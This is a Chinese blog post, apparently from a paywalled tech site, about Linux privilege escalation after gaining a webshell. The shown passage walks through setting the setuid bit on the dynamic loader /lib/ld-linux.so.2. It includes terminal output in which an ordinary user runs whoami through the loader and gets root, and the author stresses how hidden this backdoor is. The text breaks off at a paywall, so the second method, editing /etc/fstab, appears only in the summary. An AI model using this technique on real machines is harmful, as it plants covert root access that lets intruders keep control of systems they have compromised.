本文介绍了两种Linux系统下通过webshell进行提权的方法。第一种是利用setuid权限修改`/lib/ld-linux.so.2`，使普通用户执行时获取root权限。第二种方法是通过修改`/etc/fstab`，创建挂载点并设置相应权限，实现提权。这两种方式在实际环境中可以被用于系统渗透和安全测试。
方法一：setuid的方法，其实8是很隐蔽。看看过程:
[root@localdomain lib]# ls -l |grep ld-linux
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so
lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.2
[root@localdomain lib]# chmod +s ld-linux.so.2
[root@localdomain lib]# ls -l |grep ld-2.7.so
-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so
[root@localdomain lib]#
我们这里给/lib/ld-linux.so.2这个文件(在FC8里，它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。
普通用户登录，测试下权限：
[xiaoyu@localdomain ~]$ whoami
xiaoyu
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`
root
[xiaoyu@localdomain ~]$
恩，嘿嘿 root了吧，具体怎么生成root shell，你们自己去想吧，凡事
最低0.47元/天 解锁文章
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
